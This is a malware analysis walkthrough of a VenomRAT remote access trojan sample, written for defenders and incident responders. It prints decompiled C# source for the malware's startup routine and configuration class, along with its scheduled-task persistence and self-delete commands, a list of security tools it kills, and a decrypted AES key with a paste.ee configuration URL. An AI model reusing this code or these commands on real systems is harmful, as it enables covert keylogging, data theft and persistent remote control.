VenomRAT - ClientAny.exe
- Remote Access Trojan
- Persistence Mechanisms
- Command Execution via Powershell Cmd Bash
- Data-Exfiltration
- C#
File Info
File Name: ClientAny.exe
SHA256: 8f5bb49ef2c1178c113d477f70856b3d59a107a6f5a551199fb5ea0be911c496
MD5: 7f0028ed74089543b62b2cf305df54b9
Size: 75776 bytes
Architecture: 32-bit
Compilation time: Wed 08 Feb 2023 22:10:28 UTC
Sample Download: Download sample
Original Download URL: https://bazaar.abuse.ch/sample/8f5bb49ef2c1178c113d477f70856b3d59a107a6f5a551199fb5ea0be911c496/
Executive Summary
The analyzed malware is a Remote Access Trojan (RAT) developed in C# and compiled as a 32-bit executable. It exhibits functionalities associated with the VenomRAT family. Upon execution, the malware attempts to achieve persistence by copying itself to the AppData directory with a predetermined name and ensuring execution at system startup. It does this either by creating a high-privilege scheduled task (if running with administrative rights) or by modifying the user’s registry Run key.
The malware initializes by decoding an AES-256 encrypted configuration embedded within itself. This configuration includes command-and-control (C2) information such as IPs, ports, and potentially a Pastebin URL that can serve as an external source for dynamic configuration. The integrity of the configuration is verified using RSA-based digital signature validation, ensuring the authenticity of the configuration data and its origin.
Once the configuration is loaded, the malware establishes a TLS-encrypted connection with the C2 server. The server certificate is validated against a preloaded trusted certificate, ensuring that the connection is only established with the correct attacker-controlled server. The malware also supports fallback and reconnection logic, and it can download and execute additional plugin modules as directed by the C2.
A key component of the malware is its keylogger. This component hooks into the low-level Windows keyboard API to intercept keystrokes. It records the keys pressed, associates them with the active window and process name, and periodically sends the captured data back to the C2. This data is stored temporarily on disk and removed after successful transmission.
The malware also includes routines for enumerating system information, including details about the CPU, RAM, GPU, installed applications, and running user processes. This data is sent to the attacker and can be used to tailor subsequent commands or payloads.
Several anti-analysis and anti-debugging mechanisms are employed to hinder detection and reverse engineering. The malware performs checks to determine whether it is running in a virtualized environment by querying the number of processor cache entries through WMI; a lower-than-expected number may indicate a sandbox or VM. It also checks whether the operating system is a Windows Server edition and uses this to avoid terminating in certain environments.
To further resist analysis, the malware includes a process killer loop that searches for and terminates known analysis, debugging, and monitoring tools. This includes processes like Task Manager, Process Hacker, Process Explorer, Regedit, and various Microsoft Defender components. This routine runs continuously to prevent the user or analyst from inspecting or disrupting its activity.
Overall, the malware combines classic RAT capabilities such as persistence, system enumeration, keystroke logging, and encrypted C2 communication with layered anti-analysis and anti-debugging techniques, allowing it to maintain control and evade detection on infected systems.
Technical Analysis Walkthrough
Basic Static Analysis
To answer these questions, a common starting point is to load the file in pestudio and use FLOSS to check the strings.
From pestudio, in the summary tab, it is possible to retrieve all the information listed in the “File Info” section above. Two pieces of information are worth noting:
- The original file name is
ClientAny.exe(see summary > names > version > original-file-name). - The language detected is C# (see summary > file > signature | tooling), which can significantly change how the analysis proceeds. This is because executables written with the .NET framework can have their source code easily read with tools like DnSpy. The only downside is that it is necessary to be at least a little bit familiar with the programming language to understand what is going on. Given this constraint, the analysis will continue with a standard static/dynamic approach and then move to full code analysis.
Also note that under indicators > .NET > module > name, the name of the project is Monotone, which is what is expected to appear in DnSpy.
Continuing with pestudio, in the imports section pestudio recognizes 1103 imports, and looking in the libraries section the majority of them appear to come from mscoree.dll, which is the main DLL used by the .NET framework. To get an idea of other functionalities of the sample, it is useful to see which other calls are imported from the other three libraries (user32.dll, kernel32.dll, ntdll.dll).
From the import table it is possible to observe some potential interaction with the OS. Specifically:
- The combination of
CreateToolhelp32Snapshot,Process32FirstandProcess32Nextis used to enumerate the processes running in the system, often for code injection or anti-analysis, by stopping the execution if a specific tool is running. See Process Enumeration for more details. GetKeyState,GetWindowTextand the other calls that are related to the keyboard are often used for keylogging activities.
| Import | Library |
|---|---|
CloseHandle | kernel32.dll |
CreateToolhelp32Snapshot | kernel32.dll |
GetModuleHandle | kernel32.dll |
OpenProcess | kernel32.dll |
SetThreadExecutionState | kernel32.dll |
Process32Next | kernel32.dll |
Process32First | kernel32.dll |
TerminateProcess | kernel32.dll |
RtlSetProcessIsCritical | ntdll.dll |
CallNextHookEx | user32.dll |
GetKeyboardState | user32.dll |
GetKeyboardLayout | user32.dll |
GetKeyState | user32.dll |
GetForegroundWindow | user32.dll |
GetWindowText | user32.dll |
GetWindowThreadProcessId | user32.dll |
MapVirtualKey | user32.dll |
SetWindowsHookEx | user32.dll |
ToUnicodeEx | user32.dll |
UnhookWindowsHookEx | user32.dll |
As a final note on the imports section of pestudio, there are a few imports that have no library from which they were imported. These are probably the functions that are exposed by the C# code:
| Import | Class |
|---|---|
KeylogParams | Params |
CGRInfo | Client |
Keylogger | Client |
Program | Client |
Logger | Client |
Settings | Client |
ClientSocket | Client.Connection |
NormalStartup | Client.Install |
AntiProcess | Client.Helper |
PROCESSENTRY32 | Client.Helper |
Anti_Analysis | Client.Helper |
Camera | Client.Helper |
HwidGen | Client.Helper |
IdSender | Client.Helper |
Methods | Client.Helper |
DInvokeCore | Client.Helper |
Some of the names are very telling of what they do, which gives more confidence in answering the first three questions. However, before proceeding, the FLOSS output should be reviewed.
For FLOSS, the analysis starts by running it with -n 12 to get an approximate idea of what type of strings are visible, then it is run again without filters and the focus moves to parts of the output where something might have been missed. For example, below is a partial output of FLOSS with -n 12, with some of the most revealing strings from the FLOSS STATIC STRINGS: UTF-16LE section of the output. In the middle of the output there is a list of exe that the sample might be looking for. It is common to have executables with less than 12 characters in the name, hence FLOSS is then run without filters and that area is inspected to see if the list of executables is different.
DataLogs.confDataLogs_keylog_offline.txtDataLogs_keylog_online.txtSelect * from Win32_Processor{0} ({1} Core)NumberOfCoresSelect * From Win32_ComputerSystemTotalPhysicalMemoryselect * from Win32_VideoControllerDriverVersionSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallSOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\UninstallUninstallStringInstallLocationMM-dd HH:mm:ssC://Temp//1.logq8K37CrspQ1+t9ns7FUwBJCGCOq4t7gxvo9rhwzlqO2XAsRhaLRtPGnpX4MISpA25bZsLz5dCYognpQW5QPmEg==e+f8i10ZnXn8+EhS2bSotaWY9dpgmq+nW35Xcli0P3ddB5WKIWKl9G5HdopYTZXGH7J3UhLvkl8uENP4vL2OEg==yaXdv8wK79vHZXEtzmYJBhAtQmp/Gaf9nHVAVxGNOe3sERzkkM0w0UvIWfGMvDFZWy1VjdPRwabj/iyNDU4CVW2xTcxcVBROXWK9s0Mrfo3dg2xODghycSAyagfMUKVceKgYqOIL0Z/apslCcnl5Ra+kcNvvx7E18T8/5/4IpTbzeRZUGTHIwDZ/uR1asKVK/AMNIblodiLMc6L5fhqwbQ==V2xtNGFlR3I0SVZVMW43MHlPOFdET09HMGY1NFRxZTg=clQIFtQkc92phNMbP0ezjphWFVk9Jx5Z5G/WJNV/MKO9+eDjJagIODbZ+dU9QWnYXYB3wh2rNRGETdo9txeKhw==YTQUllDQFThgg8G/dO1jqrAgnbQDgi0qs7QDFtIpElBFT+JRYiPkAa56IVxz77/5JztuRuxsi+/u84JTHDqhZHmu4XiFlnMUUGVl7sbRzXL3Z5CnDCPj4qXwGv/88xr97JDIM64yOzqr66pin6ZypzoCBOHnR6WwnkDHpLJ10PjEDCU/HxUGhyCFZJ40LtdA5WZ1/JjVv7vY/h9Yjluftz8t98DqtS143hdgi8Aw9+JxPC4w5tK2DMvNC5rXkmxAVW9E3or6pWqZJf8uH8FbL8KmFVRKYxdsMVdXlIcV8YvIknpjO3L1DuyoHwvAzZ77XkKsbqEhB4wqBZlAH6Um7nvIFMXfuJIMRaD6GlaN1H8wuII3o/09bvIR8kTk4vTl+4CV8IuwbF4KzZ5CrraxsNSnO7M9C47/+p1PUgAm/pI6+0PKizRQ1s9MBoafLKQkryLb49b1JnCJX99G4ipe5KYuvO56FLMZpWfOSeOiG+K0HkG7pHJYPSJj9OSn9yRfePkmZz0y4uUrMbRj4Vl+/oUJ8Gdl4TqCLTAYaxlr0LoEQlJxhYpIv5iaIszuBgNJY2vLE9Rjm7R5i8gMS/FS6npbbMkIwHIAH4pH4fZXmTnXCo+iAAN9OXnftw2netuVjUFz+dGH8j9H0sR/ifdb4wdTIvK09etBVlj7pyVu4r0LDPbHUvxQiYNCGxhuP6IrTTXhh+XAKsmyVgoQH/kc67bkkJDB2AwsArSZIYJ3BR0rr0Qa6T0skh2v6d6NZIx9uNfSqKLsDCQr4u0m3omt1YOI9CbaD5hpWzGEJq0CaYkO4PsC+zLzfUxleMPWWxSOEdLru0zmElpOe7HgUFM17Nw+PY1XRHvK42GdPI3gBlxntV6LBtFiBYPDGccoPzgD8EEU7+ne487UVAZJAm+OBe+dPeHwO5BZBAXu7m2SKaG8dFkyDWP2lWCgBh7SOqfIOEaUeSI13akt+otg7H0xOhBjw/HSlPs8k9waR/6HHDDj1dLatr8NSfW0FAJi566WGWgOrA3+BDHvfcn+0yM+AA7+6RCa62RGXddtFIE5vVfGMwWUYKFyhYzO4P9eo31hZ6TvZutmHCIt77GBgYsTqLG5HOyGeCgnIenjHFDfAJzF8sV4Yt+E/5Ruk8w84iTkrcS89a9bzl1/QqWD8fEfEgikXBSv4GW9d7rfAyERrjGTrdLqcWF2SUrZEaD8aTJHyleVHfel74gzasxF/cUr3A2u69pdbTo3hEFNvp5u4PbD+ZaUi4wa5lHhwBspFr+JCHc//2h85zX6Kd4oeRyjdNdhl7hk5wXNZYBPQ9xIcbSUU52+lQAvAjfmweZolI2UZkMBS0UunGKcW+RmU5+biSI0bhxQ6ZsPz7hv1CBBCW4=j367jkqRZoI4mUxxGQT2wH5xnFZE1VY5eKqC3h+XVaz5qBNg3Cpsu0e/MtZgRrYXvosL5Tiu0UYlH8Uca3RZiPH/eIxfxWQg2tZE7pY8lt8=Hx34l1q8r1By6bbGYxXsp8F5XA6TzjrWDgt9sbQ9JbYnUO+cgLCgsRHCkFF3JKX10NWLah0zXTO/FSDDjMtSvA==SoFEfX0M/TfZMNduUyuYiYyk58KnTIgSLdu5oEYD7vftpWwUYUbdVWx2dwjrPWB8CWr2duhBYqVqyqRxVJwD0w==RurwXO7i4a91c1daSLyv5axbUwxAVu+GKOYBcv85v6yLRtfLPUxOUuNF8cz9Y1UW+MEnFIoe9BSLLaHNJyW4zA==WOaq/Out8IEaCfHETOVUryn8zg98gQ2F+Wm9HWug/5Rb26VfM0fY3uG1Fdty09aBDCsF1SSTEP3Obd5uClmEpg==loadofflinelogkeylogsettingOfflineKeylog sending....Plugin.PluginUmVjZWl2ZWQ=/c schtasks /create /f /sc onlogon /rl highest /tn "SOFTWARE\Microsoft\Windows\CurrentVersion\Run\timeout 3 > NULInstall Failed :ProcessHacker.exeMpCmdRun.exeConfigSecurityPolicy.exeMSConfig.exeUserAccountControlSettings.exetaskkill.exe\{0}\root\CIMV2SELECT * FROM Win32_OperatingSystemSelect * from Win32_CacheMemory{860BB310-5D01-11d0-BD3B-00A0C911CE86}{62BE5D10-60EB-11d0-BD3B-00A0C911CE86}{55272A00-42CB-11CE-8135-00AA004BB851}FriendlyNamePerfor_manceC:\Temp\client.logC:\Temp\client_ex.log\root\SecurityCenter2Select * from AntivirusProduct, Dll was not found or not loaded.Failed to parse module exports., export not found.Could not get the handle for the function.NtProtectVirtualMemoryYW1zaS5kbGw=AmsiScanBufferEtwEventWritemasterKey can not be null or empty.input can not be null.Invalid message authentication code (MAC).VenomRATByVenom(never used) type $c1(ext8,ext16,ex32) type $c7,$c8,$c9OfflineKeyloggerThere is a large variety of information, including:
-
files that might be written:
DataLogs.conf,DataLogs_keylog_offline.txt,DataLogs_keylog_online.txt,C://Temp//1.log
-
queries executed in Windows, maybe via
wmicto scan the system:Select * from Win32_Processor,Select * From Win32_ComputerSystem,select * from Win32_VideoController,SELECT * FROM Win32_OperatingSystem,Select * from Win32_CacheMemory,Select * from AntivirusProduct
-
mentions of the
SOFTWARE\Microsoft\Windows\CurrentVersion\Run\registry key, used as a persistence mechanism to execute something at startup. -
encrypted and base64 encoded strings
-
a list of executables, some of which are not present in the snip above as they are less than 12 characters long, which are probably tools that the sample looks for during the anti-analysis assessment:
Taskmgr.exeProcessHacker.exeprocexp.exeMSASCui.exeMsMpEng.exeMpUXSrv.exeMpCmdRun.exeNisSrv.exeConfigSecurityPolicy.exeMSConfig.exeRegedit.exeUserAccountControlSettings.exetaskkill.exe
-
DOS command execution like:
/c schtasks /create /f /sc onlogon /rl highest /tnwhich creates a new task in the task scheduler.timeout 3 > NUL START "" " DEL " " /f /qwhich is probably going to delete the original sample.
-
most telling of all:
VenomRATByVenom, which literally reveals that this is a VenomRAT sample, a remote access trojan.
At this point, it is possible to answer the first three questions:
The next part of the analysis will be performed both dynamically, by executing the sample and observing as much of the malware behaviour as possible, and statically, with a full code analysis. The two techniques will then be combined to answer any open questions that come up during each analysis. At the end, the malware will probably be run again in dnSpy to get some of the information that is not as easy to retrieve otherwise.
In a real scenario, the chosen approach will mostly depend on skills and requirements. If the goal is to collect IOCs from this sample, it is often sufficient to execute the malware and trace the behaviour. If the objective is to understand all the details around the sample and there is some familiarity with the programming language, opening the sample with dnSpy and looking directly at the code is more informative.
Dynamic Analysis
Before starting the analysis, it is useful to recall what is already known that might influence the observations:
- First of all, it is expected to perform anti-analysis techniques, including checking the presence of Process Hacker. This means that Process Hacker will simply not be used until there is a need to actually stop the sample from running.
- Second, the queries that are executed against the operating system are probably going to stop the sample if a device characteristic does not match, so some extra work may be needed to make the sample “happy”.
In terms of capabilities to monitor, the following are relevant:
- keylogging usually implies the creation of a temporary file where the keystrokes are saved, or sending them directly over the network. In both cases, having Wireshark enabled provides good insights.
- there are files that the sample might be creating; those warrant inspection.
- the sample will create a new scheduled task.
To limit interaction with tools that may be detected by the malware, only Procmon will be executed on Windows. Wireshark and INetSim will be running on REMnux.
The first execution is carried out as a standard user.
Standard User execution
There are no new tasks in the task scheduler, probably due to the lack of permissions.
After the execution, in Procmon, the process tree view looks like this:
Inspecting each of the subprocesses that have been invoked by the sample shows that:
cmd.exeis executed with\WINDOWS\system32\cmd.exe /c ""C:\Users\REM\AppData\Local\Temp\tmp8A48.tmp.bat"". What is its content?timeoutis executed with3.- the spawn of the new process called
dadada.execomes from"C:\Users\REM\AppData\Roaming\dadada.exe". Is it a clone of the current sample?
C:\Users\REM\AppData\Local\Temp\tmp8A48.tmp.bat can be found, but it is empty.
The SHA256 of "C:\Users\REM\AppData\Roaming\dadada.exe" is 8f5bb49ef2c1178c113d477f70856b3d59a107a6f5a551199fb5ea0be911c496, so it is just a copy.
With the process tree identified, it is useful to see what has been executed. From the list of operations that the sample might be performing, checking the registries is the easiest task, so the analysis starts from there.
In the Process Tree view, selecting the sample process and choosing “Include Subtree” filters for all the PIDs of the sample and the spawned processes. Then, under Tools > Registry Summary… it is possible to see all the registries that have been accessed by the processes. Sorting the table by the number of Writes and looking at the Path, one value looks interesting: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\dadada
This is a common path in malware since it defines applications to execute at startup. By double-clicking on the entry and going back to the Procmon main view, the content of what was written can be inspected by clicking on one of the two entries and selecting Properties. The value written is "C:\Users\REM\AppData\Roaming\dadada.exe".
The other entries are of less interest at the moment, since they are commonly used by any executable. The .NET and Cryptography registry hives can be related to any kind of operation.
In a similar way, the files that have been accessed can be reviewed using the Tools > Files Summary… menu. In the “By Folder” tab a few entries are worth looking at.
Specifically, entries under AppData. Starting from C:\Users\REM\AppData\Roaming\MyData\DataLogs.conf, a quick way to get there from Procmon is to double click on the entry in the Files Summary window, so that Procmon filters for those specific events, then from the Procmon main window, right click on the path and click “Jump To…”.
The content of the .conf file is:
5Falsewhich is not exactly clear so far.
The rest of the files are not currently found; it may be necessary to see whether, when running as admin, they will become available.
On the network side, looking at Wireshark, the only traffic observed is a call to paste.ee, a pastebin website, via HTTPS. This might mean that the actual configuration is coming from a paste service. This is something that can be understood more clearly from the code.
Admin User Execution
Running the sample as an admin does not make much difference, except that a new scheduled task called dadada appears:
Code Analysis
Opening the file with dnSpy shows something similar to the screenshot below:
The next step is to understand where to begin the analysis. This can be approached in 3 ways:
- Find the
Mainentrypoint, which is the first part of the code that is executed by the executable, and understand the execution paths; - Find some classes that seem like good starting points; for example, in this case
Client.Install,Client.SettingsorClient.Algorithmsare good starting points. The reasons they are good are different:Client.Installis a generic action that the malware is going to perform and gives good insight on the persistence mechanisms it will use, however it has dependencies with a lot of other parts of the code, so it might be difficult to understand at first.Client.SettingsandClient.Algorithmshave very small dependencies (number of imports of code from other parts of the exe); - If there is already an idea of what to look for, it is possible to go directly to the function that is likely performing that action, for example the keylogging in
Client.Keylogger.
To find the Main class, the search functionality in dnSpy can be used. Click the magnifier at the top, select “Monotone” on the left side and then, in the Search bar that opened at the bottom of the screen, change the scope of the search to “Files in same folder”. Since “Monotone” was selected, the search will only be performed on this folder.
The Main entry appears in Client.Program. Double clicking on it brings the view directly to that part of the program.
The reason for starting from Client.Program and not something else is that, after a brief look, it does not seem to be heavily obfuscated, and a lot of details can already be understood from a first read. While going through the code, it becomes clearer what might be useful to investigate next.
Client > Program
The full code is:
using System;using System.Diagnostics;using System.IO;using System.Net;using System.Threading;using System.Windows.Forms;using Client.Connection;using Client.Helper;using Client.Install;
namespace Client{ public class Program { public static void Main() { Directory.CreateDirectory(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "MyData")); Keylogger.Params.LoadFromFile(); ServicePointManager.Expect100Continue = true; ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12; ServicePointManager.DefaultConnectionLimit = 9999; for (int i = 0; i < Convert.ToInt32(Settings.De_lay); i++) { Thread.Sleep(1000); } if (!Settings.InitializeSettings()) { Environment.Exit(0); } SetRegistry.InitRegistry(); try { if (Convert.ToBoolean(Settings.An_ti)) { Anti_Analysis.RunAntiAnalysis(); } } catch { } A.B(); try { if (!MutexControl.CreateMutex()) { Environment.Exit(0); } } catch { } try { if (Convert.ToBoolean(Settings.Anti_Process)) { AntiProcess.StartBlock(); } } catch { } try { if (Convert.ToBoolean(Settings.BS_OD) && Methods.IsAdmin()) { ProcessCritical.Set(); } } catch { } try { if (Convert.ToBoolean(Settings.In_stall)) { NormalStartup.Install(); } } catch { } Methods.PreventSleep(); try { if (Methods.IsAdmin()) { Methods.ClearSetting(); } } catch { } new Thread(delegate { for (;;) { try { if (!ClientSocket.IsConnected) { Program.StopHVNC(); ClientSocket.Reconnect(); ClientSocket.InitializeClient(); } } catch { } Thread.Sleep(3000); } }).Start(); Keylogger.Run(); Application.Run(); }
public static void StopHVNC() { foreach (Process process in Process.GetProcessesByName("cvtres")) { process.Kill(); process.WaitForExit(); process.Dispose(); } } }}Starting from the imports, there are System and Client imports. The System imports are from the C# standard library and are built-in in the language, while the Client imports are classes defined in other parts of the sample.
The Main method starts by creating the %AppData%/Roaming/MyData directory:
Directory.CreateDirectory(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "MyData"));This is followed by a very interesting call, which seems to imply that all keylogging functionality is controlled by a settings file. This is definitely something to look into more next, to see what can be configured and how.
Keylogger.Params.LoadFromFile();Moving on, there are a couple of lines of connection configuration, probably to determine how to communicate with the exfiltration server.
Then a delay is executed, potentially to throw off an analyst. The trick here is to wait for a certain amount of minutes, and in certain cases an analyst might be closing the analysis tools, like Procmon, before the delay elapses. The way that it is implemented here is by taking a Settings.De_lay value, converting it to a number and multiplying it by 1000 milliseconds. This is the time the program will sleep for before continuing:
for (int i = 0; i < Convert.ToInt32(Settings.De_lay); i++){ Thread.Sleep(1000);}Next, there is another very informative set of instructions. The if statement is telling us that if the settings are not initialized properly, the execution terminates. This is the third time that the settings are retrieved, and they are essential for the execution to continue, suggesting that Client.Settings should be analyzed as the next step.
if (!Settings.InitializeSettings()){ Environment.Exit(0);}Some registries are defined at line 30, although it is not yet clear which ones.
SetRegistry.InitRegistry();Jumping slightly ahead for a moment, at line 41 there is the call:
A.B();In dnSpy, hovering over A shows that it comes from Client.Helpers. This method name in itself does not reveal much, so it can be skipped for now.
This is followed by a mutex check to see if the client has been infected already. If yes, the execution is terminated. See Mutex for more details.
if (!MutexControl.CreateMutex()){ Environment.Exit(0);}Lines 35 and 56 are both checks to see if the process is being analyzed in any way. Note that these blocks and the ones below all have an empty catch statement. This means that the malware tries to perform these checks but if it fails for any reason (maybe a bug in the code or some weirdness in the client), it keeps going with the infection without any notification to the user with error messages or pop-ups.
try{ if (Convert.ToBoolean(Settings.An_ti)) { Anti_Analysis.RunAntiAnalysis(); }}catch{}13 collapsed lines
A.B();try{ if (!MutexControl.CreateMutex()) { Environment.Exit(0); }}catch{}try{ if (Convert.ToBoolean(Settings.Anti_Process)) { AntiProcess.StartBlock(); }}After these, the following code is executed:
if (Convert.ToBoolean(Settings.BS_OD) && Methods.IsAdmin()){ ProcessCritical.Set();}It is not entirely clear what this means at the moment; ProcessCritical comes from Client.Helpers but is not very explicit in what it is about. It can be revisited later.
Once all the checks and safeguards are passed, the installation is performed:
if (Convert.ToBoolean(Settings.In_stall)){ NormalStartup.Install();}The installation will probably be the next class to look at after the settings, as it is likely the core of the persistence mechanisms.
Moving on, there are two interesting calls. The first one might somehow block the client from going to sleep, probably to continue the exfiltration without interruptions, and the second will clear some settings if the user is admin, though it is not yet known which settings.
Methods.PreventSleep();try{ if (Methods.IsAdmin()) { Methods.ClearSetting(); }}Note that there is a new thread being spawned, which loops forever, sleeping 3000 milliseconds between each iteration and trying to connect to a connection defined in Client.Connection. The loop also performs the StopHVNC call, which stops the HVNC component, generally used for remote control of the machine (see reference 1 for more info on this technique). However, it is not immediately obvious where the remote connection points to or where it is enabled.
new Thread(delegate{ for (;;) { try { if (!ClientSocket.IsConnected) { Program.StopHVNC(); ClientSocket.Reconnect(); ClientSocket.InitializeClient(); } } catch { } Thread.Sleep(3000); }}).Start();At this point, the infection is complete and the client can start running the keylogger module and the Application, whose purpose is not yet known.
Keylogger.Run();Application.Run();Client > Settings
As mentioned before, a new possible class to analyze is the Settings class. This class defines all the configuration needed for the sample to function properly. The full code is:
using System;using System.Security.Cryptography;using System.Security.Cryptography.X509Certificates;using System.Text;using Client.Algorithm;using Client.Helper;using Params;
namespace Client{ public static class Settings { public static bool InitializeSettings() { bool flag; try { Settings.Key = Encoding.UTF8.GetString(Convert.FromBase64String(Settings.Key)); Settings.aes256 = new Aes256(Settings.Key); Settings.Por_ts = Settings.aes256.Decrypt(Settings.Por_ts); Settings.Hos_ts = Settings.aes256.Decrypt(Settings.Hos_ts); Settings.Ver_sion = Settings.aes256.Decrypt(Settings.Ver_sion); Settings.In_stall = Settings.aes256.Decrypt(Settings.In_stall); Settings.MTX = Settings.aes256.Decrypt(Settings.MTX); Settings.Paste_bin = Settings.aes256.Decrypt(Settings.Paste_bin); Settings.An_ti = Settings.aes256.Decrypt(Settings.An_ti); Settings.Anti_Process = Settings.aes256.Decrypt(Settings.Anti_Process); Settings.BS_OD = Settings.aes256.Decrypt(Settings.BS_OD); Settings.Group = Settings.aes256.Decrypt(Settings.Group); Settings.Hw_id = HwidGen.HWID(); Settings.Server_signa_ture = Settings.aes256.Decrypt(Settings.Server_signa_ture); Settings.Server_Certificate = new X509Certificate2(Convert.FromBase64String(Settings.aes256.Decrypt(Settings.Certifi_cate))); flag = Settings.VerifyHash(); } catch { flag = false; } return flag; }
private static bool VerifyHash() { bool flag; try { RSACryptoServiceProvider rsacryptoServiceProvider = (RSACryptoServiceProvider)Settings.Server_Certificate.PublicKey.Key; using (SHA256Managed sha256Managed = new SHA256Managed()) { flag = rsacryptoServiceProvider.VerifyHash(sha256Managed.ComputeHash(Encoding.UTF8.GetBytes(Settings.Key)), CryptoConfig.MapNameToOID("SHA256"), Convert.FromBase64String(Settings.Server_signa_ture)); } } catch (Exception) { flag = false; } return flag; }
public static KeylogParams keylogparam = new KeylogParams();
public static string Por_ts = "q8K37CrspQ1+t9ns7FUwBJCGCOq4t7gxvo9rhwzlqO2XAsRhaLRtPGnpX4MISpA25bZsLz5dCYognpQW5QPmEg==";
public static string Hos_ts = "e+f8i10ZnXn8+EhS2bSotaWY9dpgmq+nW35Xcli0P3ddB5WKIWKl9G5HdopYTZXGH7J3UhLvkl8uENP4vL2OEg=="; public static string Ver_sion = "yaXdv8wK79vHZXEtzmYJBhAtQmp/Gaf9nHVAVxGNOe3sERzkkM0w0UvIWfGMvDFZWy1VjdPRwabj/iyNDU4CVW2xTcxcVBROXWK9s0Mrfo3dg2xODghycSAyagfMUKVc";
public static string In_stall = "eKgYqOIL0Z/apslCcnl5Ra+kcNvvx7E18T8/5/4IpTbzeRZUGTHIwDZ/uR1asKVK/AMNIblodiLMc6L5fhqwbQ==";
public static string Install_Folder = "%AppData%"; public static string Install_File = "dadada.exe";
public static string Key = "V2xtNGFlR3I0SVZVMW43MHlPOFdET09HMGY1NFRxZTg=";
public static string MTX = "clQIFtQkc92phNMbP0ezjphWFVk9Jx5Z5G/WJNV/MKO9+eDjJagIODbZ+dU9QWnYXYB3wh2rNRGETdo9txeKhw=="; public static string Certifi_cate = "YTQUllDQFThgg8G/dO1jqrAgnbQDgi0qs7QDFtIpElBFT+JRYiPkAa56IVxz77/5JztuRuxsi+/u84JTHDqhZHmu4XiFlnMUUGVl7sbRzXL3Z5CnDCPj4qXwGv/88xr97JDIM64yOzqr66pin6ZypzoCBOHnR6WwnkDHpLJ10PjEDCU/HxUGhyCFZJ40LtdA5WZ1/JjVv7vY/h9Yjluftz8t98DqtS143hdgi8Aw9+JxPC4w5tK2DMvNC5rXkmxAVW9E3or6pWqZJf8uH8FbL8KmFVRKYxdsMVdXlIcV8YvIknpjO3L1DuyoHwvAzZ77XkKsbqEhB4wqBZlAH6Um7nvIFMXfuJIMRaD6GlaN1H8wuII3o/09bvIR8kTk4vTl+4CV8IuwbF4KzZ5CrraxsNSnO7M9C47/+p1PUgAm/pI6+0PKizRQ1s9MBoafLKQkryLb49b1JnCJX99G4ipe5KYuvO56FLMZpWfOSeOiG+K0HkG7pHJYPSJj9OSn9yRfePkmZz0y4uUrMbRj4Vl+/oUJ8Gdl4TqCLTAYaxlr0LoEQlJxhYpIv5iaIszuBgNJY2vLE9Rjm7R5i8gMS/FS6npbbMkIwHIAH4pH4fZXmTnXCo+iAAN9OXnftw2netuVjUFz+dGH8j9H0sR/ifdb4wdTIvK09etBVlj7pyVu4r0LDPbHUvxQiYNCGxhuP6IrTTXhh+XAKsmyVgoQH/kc67bkkJDB2AwsArSZIYJ3BR0rr0Qa6T0skh2v6d6NZIx9uNfSqKLsDCQr4u0m3omt1YOI9CbaD5hpWzGEJq0CaYkO4PsC+zLzfUxleMPWWxSOEdLru0zmElpOe7HgUFM17Nw+PY1XRHvK42GdPI3gBlxntV6LBtFiBYPDGccoPzgD8EEU7+ne487UVAZJAm+OBe+dPeHwO5BZBAXu7m2SKaG8dFkyDWP2lWCgBh7SOqfIOEaUeSI13akt+otg7H0xOhBjw/HSlPs8k9waR/6HHDDj1dLatr8NSfW0FAJi566WGWgOrA3+BDHvfcn+0yM+AA7+6RCa62RGXddtFIE5vVfGMwWUYKFyhYzO4P9eo31h";
public static string Server_signa_ture = "Z6TvZutmHCIt77GBgYsTqLG5HOyGeCgnIenjHFDfAJzF8sV4Yt+E/5Ruk8w84iTkrcS89a9bzl1/QqWD8fEfEgikXBSv4GW9d7rfAyERrjGTrdLqcWF2SUrZEaD8aTJHyleVHfel74gzasxF/cUr3A2u69pdbTo3hEFNvp5u4PbD+ZaUi4wa5lHhwBspFr+JCHc//2h85zX6Kd4oeRyjdNdhl7hk5wXNZYBPQ9xIcbSUU52+lQAvAjfmweZolI2UZkMBS0UunGKcW+RmU5+biSI0bhxQ6ZsPz7hv1CBBCW4=";
public static X509Certificate2 Server_Certificate; public static Aes256 aes256; public static string Paste_bin = "j367jkqRZoI4mUxxGQT2wH5xnFZE1VY5eKqC3h+XVaz5qBNg3Cpsu0e/MtZgRrYXvosL5Tiu0UYlH8Uca3RZiPH/eIxfxWQg2tZE7pY8lt8="; public static string BS_OD = "Hx34l1q8r1By6bbGYxXsp8F5XA6TzjrWDgt9sbQ9JbYnUO+cgLCgsRHCkFF3JKX10NWLah0zXTO/FSDDjMtSvA=="; public static string Hw_id = null; public static string De_lay = "1"; public static string Group = "SoFEfX0M/TfZMNduUyuYiYyk58KnTIgSLdu5oEYD7vftpWwUYUbdVWx2dwjrPWB8CWr2duhBYqVqyqRxVJwD0w=="; public static string Anti_Process = "RurwXO7i4a91c1daSLyv5axbUwxAVu+GKOYBcv85v6yLRtfLPUxOUuNF8cz9Y1UW+MEnFIoe9BSLLaHNJyW4zA=="; public static string An_ti = "WOaq/Out8IEaCfHETOVUryn8zg98gQ2F+Wm9HWug/5Rb26VfM0fY3uG1Fdty09aBDCsF1SSTEP3Obd5uClmEpg=="; }}It is immediately noticeable that some values are clear text, such as Install_Folder, Install_File, Hw_id and De_lay, while the others are encoded/encrypted. To get the decrypted values, the code needs to be executed and a breakpoint set at the point where the settings are decrypted.
Set a breakpoint somewhere at the end of the method execution. It was set at line 32, however setting it before that or at line 39 is equivalent. Earlier breakpoints will show fewer attributes being decrypted. The breakpoint should not be set in the catch block, otherwise it might not trigger if there was no error.
Since the fields that are getting set are class attributes and not variables in the method (like flag), they do not appear in the “Locals” tab, but instead in “Static Fields”. The result is:
| Key | Value |
|---|---|
| Client.Settings.Key | Wlm4aeGr4IVU1n70yO8WDOOG0f54Tqe8 |
| Client.Settings.aes256 | {Client.Algorithm.Aes256} |
| Client.Settings.Por_ts | null |
| Client.Settings.Hos_ts | null |
| Client.Settings.Ver_sion | Venom RAT + HVNC + Stealer + Grabber v6.0.3 |
| Client.Settings.In_stall | true |
| Client.Settings.MTX | dadadada |
| Client.Settings.Paste_bin | https://paste.ee/r/7467kw7n/0 |
| Client.Settings.An_ti | false |
